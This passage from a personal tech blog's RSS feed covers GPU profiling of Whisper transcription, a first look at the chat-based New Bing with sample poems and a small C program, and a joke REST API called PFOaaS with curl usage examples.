        &lt;img src=&#34;images/whisper-9.png&#34; alt=&#34;Whisper transcription&#34;/&gt;
        &lt;figcaption&gt;Whisper transcription&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;You can also run this only on a subset or one file to transcribe - as shown below. Also if the model isn&amp;rsquo;t already downloaded, it will download it first.
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-10.png&#34; alt=&#34;Whisper model download&#34;/&gt;
        &lt;figcaption&gt;Whisper model download&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Of course you can update the folders, etc to match what you needs are.&lt;/p&gt;
&lt;h3 id=&#34;gpu-profile&#34;&gt;GPU Profile&lt;/h3&gt;
&lt;p&gt;I also wanted to show the GPU profile when inferencing between the &lt;code&gt;base&lt;/code&gt; and the &lt;code&gt;large&lt;/code&gt; models. The image below shows the GPU profile when running the &lt;code&gt;base&lt;/code&gt; model. You can see that the GPU is being used at 100% and the memory is being used at ~4gb and ~200W of power. The time to transcribe each episode isn&amp;rsquo;t too long as well - around 2 minutes.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-11.png&#34; alt=&#34;Whisper base model&#34;/&gt;
        &lt;figcaption&gt;Whisper base model&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The image below shows the GPU profile when running the &lt;code&gt;large&lt;/code&gt; model. You can see that the GPU is being used at 100% and the memory is being used at ~14gb and ~320W of power. The time to transcribe each episode is much longer - around 10 minutes.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/whisper-12.png&#34; alt=&#34;Whisper large model&#34;/&gt;
        &lt;figcaption&gt;Whisper large model&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;In conclusion, this was a fun little thing to work on; I had done this a few months ago but not had the time until now to blog it. I also transcribed the episodes using our &lt;a
	
		href = &#34;https://azure.microsoft.com/en-us/products/cognitive-services/speech-to-text/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Azure Speech service
	&lt;/span&gt;
&lt;/a&gt; which I think is more robust and scalable in many ways (but then I am a little biased 💜). I will blog about that in the future and we can compare.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hello New Bing 👋</title>
      <link>/post/2023/02/hello-new-bing/</link>
      <pubDate>Thu, 09 Feb 2023 00:00:00 +0000</pubDate>
      
      <guid>/post/2023/02/hello-new-bing/</guid>
      <description>&lt;p&gt;Bing is getting a new look and feel, powered by Microsoft AI and OpenAI (ChatGPT) and was announced yesterday. There is a lot of buzz around this, and I thought I would share my thoughts on this as I got access today.&lt;/p&gt;
&lt;h3 id=&#34;what-is-the-new-bing&#34;&gt;What is the new Bing?&lt;/h3&gt;
&lt;p&gt;Well, it is the thing that is making the 800-pound gorilla in the room, Google, come out and dance on its toes. 🦍&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The new Bing is an overhauled version of the search engine that uses ChatGPT technology to understand questions and generate answers. It runs on the next generation of OpenAI’s language model, which is significantly more capable than the version of ChatGPT that has been available since November 20221. The new Bing provides more relevant results for simple things like sports scores, stock prices and weather, along with a new sidebar that shows more comprehensive answers if you want them3. You can also chat and create with the new Bing, using its natural language and creative abilities4. The new Bing is live starting today, with limited capabilities.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Here is what it looks like:
&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing2.png&#34; alt=&#34;New Bing Search&#34;/&gt;
        &lt;figcaption&gt;Asking Bing, what is bing&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&#34;what-is-chatgpt&#34;&gt;What is ChatGPT?&lt;/h4&gt;
&lt;p&gt;If you are curious about ChatGPT, and you have really been living under a rock and don&amp;rsquo;t know it 🤪, then &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2022/12/hello-chatgpt/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		read up more here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;searching-within-a-site&#34;&gt;Searching within a site&lt;/h3&gt;
&lt;p&gt;Using the updated Edge browser, which extends the new Bing experience to the browser, you can search a site by typing in the site name and then the search term. For example, here I am searching for the word &amp;ldquo;hacking&amp;rdquo; on my blog &amp;ldquo;blog.desigeek.com&amp;rdquo;:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing9.png&#34; alt=&#34;Searching within a site&#34;/&gt;
        &lt;figcaption&gt;Searching within a site&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;chat-with-bing&#34;&gt;Chat with Bing&lt;/h3&gt;
&lt;p&gt;You can chat with Bing and ask it questions like: &amp;ldquo;tell me a joke about AI developers&amp;rdquo;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing1.png&#34; alt=&#34;Joke on AI Developers&#34;/&gt;
        &lt;figcaption&gt;Joke about AI developers&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And what is the meaning of life?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing3.png&#34; alt=&#34;The meaning of life&#34;/&gt;
        &lt;figcaption&gt;The meaning of life&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Or it can write a poem on #NeuralNetworks:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Neural networks are amazing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can learn from data and do amazing things
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can recognize faces, voices, and objects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can generate images, texts, and sounds
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can play games, drive cars, and diagnose diseases
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can do anything, or so it seems
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Neural networks are complex
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They have layers and nodes and weights and biases
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They have activation functions, loss functions, and optimizers
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They have backpropagation, gradient descent, and regularization
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They have hyperparameters, architectures, and algorithms
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They have a lot of math, and a lot of tricks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Neural networks are mysterious
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can be hard to understand and explain
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can be prone to errors and biases
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can be overfitting, underfitting, or just fitting
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can be black boxes, white boxes, or gray boxes
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;They can be a blessing, a curse, or a challenge&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing4.png&#34; alt=&#34;The meaning of life&#34;/&gt;
        &lt;figcaption&gt;The meaning of life&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And not only it can write a #Haiku for my wife on our anniversary, but it remembers the context. 💓&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Twenty-two years passed
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;We are still in love and laugh
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;You are my better half&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing5.png&#34; alt=&#34;Anniversary Haiku&#34;/&gt;
        &lt;figcaption&gt;Anniversary Haiku&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And of course, we can do just plain old vanilla #Haikus&amp;rsquo; too:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Haikus are easy
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;But sometimes they don&amp;#39;t make sense
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Refrigerator&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing6.png&#34; alt=&#34;Haiku&#34;/&gt;
        &lt;figcaption&gt;Haiku&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And it can even write code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;#include&lt;/span&gt; &lt;span style=&#34;color:#6e738d;font-weight:bold;font-style:italic&#34;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// A function that prints a funny haiku
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;write_funny_haiku&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Declare and initialize an array of strings
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;haiku[&lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; {&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Haikus are easy&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;But sometimes they don&amp;#39;t make sense&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Refrigerator&amp;#34;&lt;/span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Loop through the array and print each line
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#8aadf4&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;%s&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;, haiku[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// A main function that tests the write_funny_haiku function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;main&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Call the write_funny_haiku function
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;write_funny_haiku&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Return 0 to indicate success
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing7.png&#34; alt=&#34;Code&#34;/&gt;
        &lt;figcaption&gt;Code&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And of course we can do some sports. #F1 rules 🏎️&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing10.png&#34; alt=&#34;Which is the best F1 team?&#34;/&gt;
        &lt;figcaption&gt;Which is the best F1 team?&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, we can even have some fun. 😆&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;There once was a search engine named Bing
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It could find anything and everything
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;It was faster and smarter
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;More helpful and friendly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;And it made Google look like a ding-a-ling&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/hello-new-bing8.png&#34; alt=&#34;Bing vs Google&#34;/&gt;
        &lt;figcaption&gt;Bing vs Google&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Happy searching! 🤓&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>PFOaaS - Polite Fork Off As A Service</title>
      <link>/post/2023/01/pfoaas-polite-fork-off-as-a-service/</link>
      <pubDate>Mon, 02 Jan 2023 00:00:00 +0000</pubDate>
      
      <guid>/post/2023/01/pfoaas-polite-fork-off-as-a-service/</guid>
      <description>&lt;h3 id=&#34;api-introduction&#34;&gt;API Introduction&lt;/h3&gt;
&lt;p&gt;Polite Fork Off As A Service (or PFOaaS) - &lt;a
	
		href = &#34;https://pfoaas.desigeek.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://pfoaas.desigeek.com/
	&lt;/span&gt;
&lt;/a&gt; is a modern REST API that solves the problem of one telling people to politely fork off. &amp;#x1f607;&lt;/p&gt;
&lt;p&gt;There are days when we all need such a service for various reasons, and I think it is a great way to release some pent-up frustration. 🖤 It is also a great way to get some laughs too. This is of course meant for hard code engineers, writing RPC free code &amp;#x1f61c;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pfoaas1.png&#34; alt=&#34;Polite Fork Off As A Service&#34;/&gt;
        &lt;figcaption&gt;Polite Fork Off As A Service - API&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;api-usage&#34;&gt;API Usage&lt;/h3&gt;
&lt;p&gt;The API is simple to use; you make a GET request to the API endpoint and the relevant parameters. You can also use the API from the command line too. There are a few options to choose for the response format - plain text, JSON, XML, and HTTP. If you don&amp;rsquo;t select an option the default is HTML. The JSON response also supports a callback.&lt;/p&gt;
&lt;p&gt;All the operations are idempotent, so you can make the same request multiple times and get the same response.&lt;/p&gt;
&lt;p&gt;Here is a sample usage using the &lt;code&gt;/row/:from&lt;/code&gt; operation which requires one parameter - the name of the person wishing this.  &amp;#x1f480; The output shown below is in plain text.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Accept: text/plain&amp;#39;&lt;/span&gt; https://pfoaas.desigeek.com/row/Amit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pfoaas2.png&#34; alt=&#34;PFOaaS API - sample usage&#34;/&gt;
        &lt;figcaption&gt;PFOaaS API - sample usage&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The same operation in JSON format:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Accept: application/json&amp;#39;&lt;/span&gt; https://pfoaas.desigeek.com/row/Amit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pfoaas3.png&#34; alt=&#34;PFOaaS API - JSON sample usage&#34;/&gt;
        &lt;figcaption&gt;PFOaaS API - JSON sample usage&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Some of the other operations require more than one parameter such as the &lt;code&gt;/shakespeare/:name/:from&lt;/code&gt; that can be invoked as follows:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Accept: text/plain&amp;#39;&lt;/span&gt; https://pfoaas.desigeek.com/shakespeare/Putin/Amit&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pfoaas4.png&#34; alt=&#34;PFOaaS - Shakespeare sample usage&#34;/&gt;
        &lt;figcaption&gt;PFOaaS API - Shakespeare sample usage&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;There is a notion of filters, which are output modifiers. These are added to the URL as a query parameter and can be chained together. For example, the same operation as above but with the &lt;code&gt;i18n&lt;/code&gt; filter showing the output in Russia (Русский).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;Accept: text/plain&amp;#39;&lt;/span&gt; https://pfoaas.desigeek.com/row/Amit?i18n&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;ru&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/pfoaas5.png&#34; alt=&#34;PFOaaS - Shakespeare sample usage in Russian&#34;/&gt;
        &lt;figcaption&gt;Shakespeare sample usage output in Russian&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;i18n&lt;/code&gt; is used to translate the output to another language via the ISO 639-1 language code, and supports the following languages:&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Language&lt;/th&gt;
          &lt;th&gt;ISO 639-1&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;English&lt;/td&gt;
          &lt;td&gt;en&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Italian / Italiano&lt;/td&gt;
          &lt;td&gt;it&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Spanish / Español&lt;/td&gt;
          &lt;td&gt;es&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;French / Français&lt;/td&gt;
          &lt;td&gt;fr&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Dutch / Deutsch&lt;/td&gt;
          &lt;td&gt;de&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Norwegian / Nederlands&lt;/td&gt;
          &lt;td&gt;nl&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Swedish / Svenska&lt;/td&gt;
          &lt;td&gt;sv&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Portuguese / Português&lt;/td&gt;
          &lt;td&gt;pt&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Russia / Русский&lt;/td&gt;
          &lt;td&gt;ru&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Japanese / 日本語&lt;/td&gt;
          &lt;td&gt;ja&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Chinese / 汉语&lt;/td&gt;
          &lt;td&gt;zh&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Korean / 한국어&lt;/td&gt;
          &lt;td&gt;ko&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;Turkish / Türkçe&lt;/td&gt;
          &lt;td&gt;tr&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;api-details-and-code&#34;&gt;API Details and Code&lt;/h3&gt;
&lt;p&gt;You can see all the API usage and examples at &lt;a
	
		href = &#34;https://pfoaas.desigeek.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://pfoaas.desigeek.com/
	&lt;/span&gt;
&lt;/a&gt;. I won&amp;rsquo;t go into the details here, but you can see the code on 
